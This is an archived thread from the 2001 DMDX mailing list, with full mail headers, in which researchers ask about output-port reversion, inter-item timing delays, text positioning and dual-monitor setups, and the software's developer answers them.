-0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 8 Nov 2001 16:32:35 -0000 Message-Id: <5.1.0.14.2.20011108093010.009d1910@psy1.psych.arizona.edu> Date: Thu, 08 Nov 2001 09:32:01 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Problem using In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:54 PM 11/8/01 +0100, you wrote: >DMDX version 2.6.03 > >(1) When I try to use , I get the error message: ""Misplaced >parameter keyword in item"". It's a parameter. >(2) I don't understand the syntax of the command. The >'Manual' specifies a call in the form: > but this does not include a parameter for the output port bit, e.g., as >in You are specifying the word (all bits) that the output port is to revert to. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 8 09:35:05 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA25589 for ; Thu, 8 Nov 2001 09:34:54 -0700 Received: (qmail 7632 invoked from network); 8 Nov 2001 16:34:42 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 8 Nov 2001 16:34:42 -0000 Message-Id: <5.1.0.14.2.20011108093341.009e6890@psy1.psych.arizona.edu> Date: Thu, 08 Nov 2001 09:34:10 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: RE: RE: RE: Problem using In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:34 PM 11/8/01 +0100, you wrote: >Now back to my problem :) > >I still don't get it. > >Shouldn't this work? > > 1 /; > 0 ""thank you"" ; >... ""Invalid Revert Output Keyword <1000, H> > >Or this? > > 1 , /; > 0 ""thank you"" ; >... ""Misplaced Parameter Keyword From DMDX-owner@psy1.psych.arizona.edu Thu Nov 8 09:51:41 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA25749 for ; Thu, 8 Nov 2001 09:51:34 -0700 Received: (qmail 19690 invoked from network); 8 Nov 2001 16:51:30 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 8 Nov 2001 16:51:30 -0000 Message-Id: <5.1.0.14.2.20011108093435.009e6370@psy1.psych.arizona.edu> Date: Thu, 08 Nov 2001 09:50:58 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: RE: Problem using In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:06 AM 11/8/01 -0600, you wrote: >RevertOutput should be used in the parameter/header line at the top of the >script. When used it will change the function of the output command (which >you should continue to use in the individual trials as before) from latched >to non-latched with a pulse length (and return value) as indicated in the >revertoutput command. You will set the actual bit pattern to output with >each output command as before. > >I am happy to hear that you are using this new feature. I have been missing >triggers infrequently (maybe one out of 200 triggers ever other subject) on >the data collection machine that receives the output from DMDX. I am >currently assuming that it is a hardware issue in my lab and trying to fix >it locally but please let me know if you experience the same problem, >suggesting some problem with using the latched form of output. Hmm, if you're using a value of 5ms I'd be less likely to think that somehow DMDX is reverting the output too quickly even though I put special effort into making sure that if it made a mistake the pulse would get longer. But I guess it's possible that something is interrupting the code that sends the pulse after it has read the clock and so when it adds 5 milliseconds to set the time for the event that reverts the output it is already past that time so it actually reverts the output in microseconds. That is however assuming that something _can_ interrupt that piece of code and to the best of my knowledge it's running at kernal priority and is therefore not interruptible. What is the SD that that machine reports in the Video and Millisecond test? What's the largest interval that it reports between callbacks? You might also want to try turning on and compare the values. The larger that largest time between callbacks value is the larger the revert time should be. You probably want to try a value like 15ms in any event. I can cook up another test mode that monitors how much time is spent in the millisecond callback which would provide definitive information. OTOH, it could just be that 5ms is just a little too rapid a pulse to get through the wiring in your lab. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 8 10:10:17 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA25870 for ; Thu, 8 Nov 2001 10:10:09 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id fA8HA8p06373 for ; Thu, 8 Nov 2001 18:10:08 +0100 From: ""Derek N. Eder"" To: Subject: [DMDX] RE: Re: RE: RE: RE: Problem using Date: Thu, 8 Nov 2001 18:08:26 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20011108093341.009e6890@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list ""If you read the docs you'd know that H stands for a Hexadecimal ord."" -jonathan (j.c.f.) It's amazing that I ever managed to gradate from daycare, but then again it was in Tucson. Thanks for setting me straight. - Derek >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 8 11:07:23 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA26094 for ; Thu, 8 Nov 2001 11:07:12 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.034) id 3BE6C3EA00066C2C for DMDX@psy1.psych.arizona.edu; Thu, 8 Nov 2001 11:07:10 -0700 Message-Id: <5.1.0.14.2.20011108110304.009e8030@psy1.psych.arizona.edu> Date: Thu, 08 Nov 2001 11:07:10 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Problem using In-Reply-To: References: <5.1.0.14.2.20011108093341.009e6890@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:08 PM 11/8/01 +0100, you wrote: >""If you read the docs you'd know that H stands for a Hexadecimal >ord."" -jonathan (j.c.f.) > >It's amazing that I ever managed to gradate from daycare, but then again it >was in Tucson. > >Thanks for setting me straight. Sorry, but I spend a lot of time writing those docs and 90% of the questions I get asked are answered in the docs. I'm not going to argue that they're easy to read, but then I'm not going to argue that DMDX is easy to use either. I don't care if people don't understand the docs as they are reading them, I don't fully understand the DirectX docs when I have to read them. However at some level the information gets in and if at a later stage I am having trouble there's a niggly little feeling that I've read something somewhere that describes the trouble I am having so I feel confidant that if I dive into the docs I'll find the answer somewhere. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All power corrupts, but we need electricity. >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 8 12:31:43 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA26341 for ; Thu, 8 Nov 2001 12:30:07 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.034) id 3BE6C3EA00069C24 for DMDX@psy1.psych.arizona.edu; Thu, 8 Nov 2001 12:30:05 -0700 Message-Id: <5.1.0.14.2.20011108122822.009ea640@psy1.psych.arizona.edu> Date: Thu, 08 Nov 2001 12:30:06 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 2.6.04 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list So I added a fail safe to . If John Curtin's problem was indeed caused by something interrupting the kernal mode callback the code that schedules the reversion of the output bits re-reads the clock anyway. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All power corrupts, but we need electricity. >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 9 11:09:30 2001 Received: from bureau6.utcc.utoronto.ca (bureau6.utcc.utoronto.ca [128.100.132.16]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA28994 for ; Fri, 9 Nov 2001 11:07:38 -0700 Received: from pc15.ling.utoronto.ca ([128.100.214.15] EHLO [128.100.214.15] ident: IDENT-NOT-QUERIED [port 49892]) by bureau6.utcc.utoronto.ca with ESMTP id <238911-13587>; Fri, 9 Nov 2001 13:07:31 -0500 Mime-Version: 1.0 Message-Id: Date: Fri, 9 Nov 2001 13:09:55 -0400 To: dmdx@psy1.psych.arizona.edu From: Tyler Subject: [DMDX] no lag when timing every item, how? Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list In the study I am working on, we are timing every item. However, I've noticed that this creates a large lag between the items. How do you write the program, so that the lag between the items is removed, yet every item is still being timed? Tyler Roncero -- Lab-Coordinator of the Psycholinguistics Lab Undergraduate student-rep, University of Toronto, for the CPA Communications co-ordinator for the PSA at UofT >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 9 12:09:58 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA29188 for ; Fri, 9 Nov 2001 12:08:27 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.034) id 3BE3449A000A9C87 for DMDX@psy1.psych.arizona.edu; Fri, 9 Nov 2001 12:08:26 -0700 Message-Id: <5.1.0.14.2.20011109120730.009e3ec0@psy1.psych.arizona.edu> Date: Fri, 09 Nov 2001 12:08:25 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: no lag when timing every item, how? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:09 PM 11/9/01 -0400, you wrote: >In the study I am working on, we are timing every item. However, I've >noticed that this creates a large lag between the items. >How do you write the program, so that the lag between the items is >removed, yet every item is still being timed? Use the D parameter. A D-2 in the parameter line will reduce the ISI to 2 ticks or a bit longer if DMDX needs the time to prepare the item. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All power corrupts, but we need electricity. >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 13 15:24:49 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA07306 for ; Tue, 13 Nov 2001 15:24:09 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.034) id 3BE6C3EA000D9B5B for DMDX@psy1.psych.arizona.edu; Tue, 13 Nov 2001 15:24:07 -0700 Message-Id: <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> Date: Tue, 13 Nov 2001 15:24:10 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] millisecond timing Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Just had my first play with a system that has ME on it running DMDX and I notice that the standard deviation of the millisecond callback under ME is almost as good as win2k, 0.08ms! Wow. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All power corrupts, but we need electricity. >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 15 10:33:23 2001 Received: from bureau6.utcc.utoronto.ca (bureau6.utcc.utoronto.ca [128.100.132.16]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA12473 for ; Thu, 15 Nov 2001 10:32:52 -0700 Received: from pc15.ling.utoronto.ca ([128.100.214.15] EHLO [128.100.214.15] ident: IDENT-NOT-QUERIED [port 49242]) by bureau6.utcc.utoronto.ca with ESMTP id <238806-15757>; Thu, 15 Nov 2001 12:32:44 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> References: <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> Date: Thu, 15 Nov 2001 12:35:13 -0400 To: DMDX@psy1.psych.arizona.edu From: Tyler Subject: [DMDX] timings and delays Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I inserted the parameter, we prefer to . Even with the d parameter, there is still a lag between items, it is smaller, yet it remains. Also, the length of the lag seems to be affected by the length of the upcoming sentence. In the study, every item is being timed. My questions: 1. Is the length between items affected by the length of the upcoming sentence? 2. Does the timing of the item begin after the spacebar has been pressed, or when the sentence appears on the screen? 3. How do you make the items left-justified on the screen, rather than centered? thanks everyone, Tyler -- Lab-Coordinator of the Psycholinguistics Lab Undergraduate student-rep, University of Toronto, for the CPA Communications co-ordinator for the PSA at UofT >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 15 10:52:48 2001 Received: from green.csi.cam.ac.uk (exim@green.csi.cam.ac.uk [131.111.8.57]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA12555 for ; Thu, 15 Nov 2001 10:52:40 -0700 Received: from njsjg2 (helo=localhost) by green.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1) id 164Qgp-0002hw-00 for DMDX@psy1.psych.arizona.edu; Thu, 15 Nov 2001 17:52:39 +0000 Date: Thu, 15 Nov 2001 17:52:39 +0000 (GMT) From: ""Nicholas J.S. Gibson"" To: Subject: [DMDX] Re: timings and delays In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Today 12:35pm, Tyler wrote: > 1. Is the length between items affected by the length of the upcoming > sentence? I doubt it, unless your computer is very slow indeed. > 2. Does the timing of the item begin after the spacebar has been > pressed, or when the sentence appears on the screen? > > 3. How do you make the items left-justified on the screen, rather > than centered? These are both answered in jcf's dmdx help pages. Nicholas -- Psychology and Religion Research Programme Faculty of Divinity, University of Cambridge West Road, Cambridge, CB3 9BS, UK phone/fax: +44 1223 763010/763003 http://www.divinity.cam.ac.uk/pcp/ >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 15 14:48:44 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA13081 for ; Thu, 15 Nov 2001 14:48:21 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.034) id 3BF3D72C00010BEC for DMDX@psy1.psych.arizona.edu; Thu, 15 Nov 2001 14:48:20 -0700 Message-Id: <5.1.0.14.2.20011115144641.009e5df0@psy1.psych.arizona.edu> Date: Thu, 15 Nov 2001 14:48:21 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: timings and delays In-Reply-To: References: <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:35 PM 11/15/01 -0400, you wrote: >I inserted the parameter, we prefer to . Even with the d >parameter, there is still a lag between items, it is smaller, yet it >remains. Also, the length of the lag seems to be affected by the length of >the upcoming sentence. In the study, every item is being timed. > >My questions: > >1. Is the length between items affected by the length of the upcoming >sentence? Depends on your item file structure. >2. Does the timing of the item begin after the spacebar has been pressed, >or when the sentence appears on the screen? Depends on your item file structure. Post the first few lines (parameter line and a few items) of it and I can tell you more. >3. How do you make the items left-justified on the screen, rather than >centered? Use to position them. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All power corrupts, but we need electricity. >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 16 08:43:59 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA15086 for ; Fri, 16 Nov 2001 08:43:31 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id fAGFhTp03873 for ; Fri, 16 Nov 2001 16:43:29 +0100 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] Using 2 monitors with DMDX? Date: Fri, 16 Nov 2001 16:41:34 +0100 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0000_01C16EBD.8D965B00"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0000_01C16EBD.8D965B00 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit I would like to use DMDX with 2 computer monitors - one for the subject stimulus display and the other for the experimenter to interact with the computer (e.g., run different DMDX item files). The no brainer answer is to use a 'display adapter splitter' which drives 2 monitors from one display adapter card. 'Cheap and does exactly what I need. But why make life simple? Is it possible to use DMDX in Windows' dual monitor configuration where the computer has two display adapter cards? Thanks, Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden ------=_NextPart_000_0000_01C16EBD.8D965B00 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I = would like to=20 use DMDX with 2 computer monitors - one for the subject stimulus display = and the=20 other for the experimenter to interact with the computer (e.g., run = different=20 DMDX item files).   The no = brainer=20 answer is to use a 'display adapter splitter' which drives 2 monitors = from one=20 display adapter card.  'Cheap and does exactly what I=20 need.   But = why make life=20 simple?  Is it possible to use DMDX in Windows' dual monitor = configuration=20 where the computer has two display adapter cards?   Thanks,   Derek Derek N. EderG=F6teborgs = UniversitetInstitutionen f=F6r=20 klinisk neurovetenskap - psykiatriSahlgrenska universitetssjukhuset=20 SS/SUBl=E5 straket 17bSE 413 45  = G=F6teborgSverigeTlf. +46=20 (031) 34 26 139Fax. +46 (031) 34 21=20 533 derek.eder@neuro.gu.seGothenburg=20 UniversityInstitute of Clinical Neuroscience,Section for=20 PsychiatrySalhgrenska Hospital  SU/SSSE 413 45 =20 G=F6teborgSweden    ------=_NextPart_000_0000_01C16EBD.8D965B00-- >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 16 09:42:26 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA15284 for ; Fri, 16 Nov 2001 09:42:18 -0700 Received: (qmail 4580 invoked from network); 16 Nov 2001 16:42:14 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 16 Nov 2001 16:42:14 -0000 Message-Id: <5.1.0.14.2.20011116093838.009e5da0@psy1.psych.arizona.edu> Date: Fri, 16 Nov 2001 09:41:05 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Using 2 monitors with DMDX? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:41 PM 11/16/01 +0100, you wrote: >I would like to use DMDX with 2 computer monitors - one for the subject >stimulus display and the other for the experimenter to interact with the >computer (e.g., run different DMDX item files). > >The no brainer answer is to use a 'display adapter splitter' which drives >2 monitors from one display adapter card. 'Cheap and does exactly what I need. > >But why make life simple? Is it possible to use DMDX in Windows' dual >monitor configuration where the computer has two display adapter cards? Yeah, the help files document this, the updates page mentions tested configurations and points you in directions to find out what likely combinations of cards are likely to work. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 16 10:52:18 2001 Received: from bureau6.utcc.utoronto.ca (bureau6.utcc.utoronto.ca [128.100.132.16]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA15442 for ; Fri, 16 Nov 2001 10:51:45 -0700 Received: from pc15.ling.utoronto.ca ([128.100.214.15] EHLO [128.100.214.15] ident: IDENT-NOT-QUERIED [port 49577]) by bureau6.utcc.utoronto.ca with ESMTP id <239219-28718>; Fri, 16 Nov 2001 12:50:39 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: <5.1.0.14.2.20011115144641.009e5df0@psy1.psych.arizona.edu> References: <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> <5.1.0.14.2.20011115144641.009e5df0@psy1.psych.arizona.edu> Date: Fri, 16 Nov 2001 12:52:22 -0400 To: DMDX@psy1.psych.arizona.edu From: Tyler Subject: [DMDX] Re: timings and delays Content-Type: multipart/alternative; boundary=""============_-1206192952==_ma============"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --============_-1206192952==_ma============ Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" > > >>2. Does the timing of the item begin after the spacebar has been >>pressed, or when the sentence appears on the screen? > > Depends on your item file structure. Post the first few lines >(parameter line and a few items) of it and I can tell you more. Here is the parameter strucure and the first set of items. Questions: Does the timing of the item begin after the spacebar has been pressed, or when the sentence appears on the screen? Also, is the length betwee items affected by the length of the upcoming sentence? +1 c *""One day at the mall""; +1 c *""Michael was stopped by Hannah""; +1 c *""while""; +1 "" ""/ c *""leaving the store.""; +1 *""Michael was leaving the store.""; -- Lab-Coordinator of the Psycholinguistics Lab Undergraduate student-rep, University of Toronto, for the CPA Communications co-ordinator for the PSA at UofT --============_-1206192952==_ma============ Content-Type: text/html; charset=""us-ascii"" [DMDX] Re: timings and delays 2. Does the timing of the item begin after the spacebar has been pressed, or when the sentence appears on the screen?   Depends on your item file structure.  Post the first few lines (parameter line and a few items) of it and I can tell you more. Here is the parameter strucure and the first set of items. Questions: Does the timing of the item begin after the spacebar has been pressed, or when the sentence appears on the screen? Also, is the length betwee items affected by the length of the upcoming sentence? +1 c *""One day at the mall""; +1 c *""Michael was stopped by Hannah""; +1 c *""while""; +1 "" ""/ c *""leaving the store.""; +1 *""Michael was leaving the store.""; -- Lab-Coordinator of the Psycholinguistics Lab Undergraduate student-rep, University of Toronto, for the CPA Communications co-ordinator for the PSA at UofT --============_-1206192952==_ma============-- >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 16 11:33:50 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA15598 for ; Fri, 16 Nov 2001 11:33:42 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.034) id 3BF44B890001641D for DMDX@psy1.psych.arizona.edu; Fri, 16 Nov 2001 11:33:40 -0700 Message-Id: <5.1.0.14.2.20011116112736.009eaec0@psy1.psych.arizona.edu> Date: Fri, 16 Nov 2001 11:33:41 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: timings and delays In-Reply-To: References: <5.1.0.14.2.20011115144641.009e5df0@psy1.psych.arizona.edu> <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> <5.1.0.14.2.20011115144641.009e5df0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:52 PM 11/16/01 -0400, you wrote: >>>2. Does the timing of the item begin after the spacebar has been >>>pressed, or when the sentence appears on the screen? >> >> Depends on your item file structure. Post the first few lines >> (parameter line and a few items) of it and I can tell you more. > >Here is the parameter strucure and the first set of items. > >Questions: Does the timing of the item begin after the spacebar has been >pressed, or when the sentence appears on the screen? It begins when the frame with the * in it is displayed. In your case because there is a delay of 0 it's going to be within a few tens of milliseconds of the spacebar being pressed depending on your system's speed. You can determine roughly how long that is by looking at the preparation times in the diagnostics. >Also, is the length betwee items affected by the length of the upcoming >sentence? Only trivially, most machines can prepare a sentence for display in less than 10 milliseconds, some very old ones might take 20. > ""+Space""> > >+1 c *""One day at the mall""; >+1 c *""Michael was stopped by Hannah""; >+1 c *""while""; >+1 "" ""/ c *""leaving the store.""; >+1 *""Michael was leaving the >store.""; BTW, 's parameter is an integer value in ticks (retrace intervals). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All power corrupts, but we need electricity. >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 16 11:52:59 2001 Received: from bureau6.utcc.utoronto.ca (bureau6.utcc.utoronto.ca [128.100.132.16]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA15663 for ; Fri, 16 Nov 2001 11:52:50 -0700 Received: from pc15.ling.utoronto.ca ([128.100.214.15] EHLO [128.100.214.15] ident: IDENT-NOT-QUERIED [port 49592]) by bureau6.utcc.utoronto.ca with ESMTP id <239196-4729>; Fri, 16 Nov 2001 13:52:25 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: <5.1.0.14.2.20011116112736.009eaec0@psy1.psych.arizona.edu> References: <5.1.0.14.2.20011115144641.009e5df0@psy1.psych.arizona.edu> <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> <5.1.0.14.2.20011115144641.009e5df0@psy1.psych.arizona.edu> <5.1.0.14.2.20011116112736.009eaec0@psy1.psych.arizona.edu> Date: Fri, 16 Nov 2001 13:54:56 -0400 To: DMDX@psy1.psych.arizona.edu From: Tyler Subject: [DMDX] Re: timings and delays Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list >> > > BTW, 's parameter is an integer value in ticks (retrace intervals). > So it can only be something like 21 or 22, not 21.5? -- Lab-Coordinator of the Psycholinguistics Lab Undergraduate student-rep, University of Toronto, for the CPA Communications co-ordinator for the PSA at UofT >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 16 14:37:06 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA16088 for ; Fri, 16 Nov 2001 14:36:54 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.034) id 3BF450F600019E6B for DMDX@psy1.psych.arizona.edu; Fri, 16 Nov 2001 14:36:53 -0700 Message-Id: <5.1.0.14.2.20011116143603.009e7980@psy1.psych.arizona.edu> Date: Fri, 16 Nov 2001 14:36:51 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: timings and delays In-Reply-To: References: <5.1.0.14.2.20011116112736.009eaec0@psy1.psych.arizona.edu> <5.1.0.14.2.20011115144641.009e5df0@psy1.psych.arizona.edu> <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> <5.1.0.14.2.20011115144641.009e5df0@psy1.psych.arizona.edu> <5.1.0.14.2.20011116112736.009eaec0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list 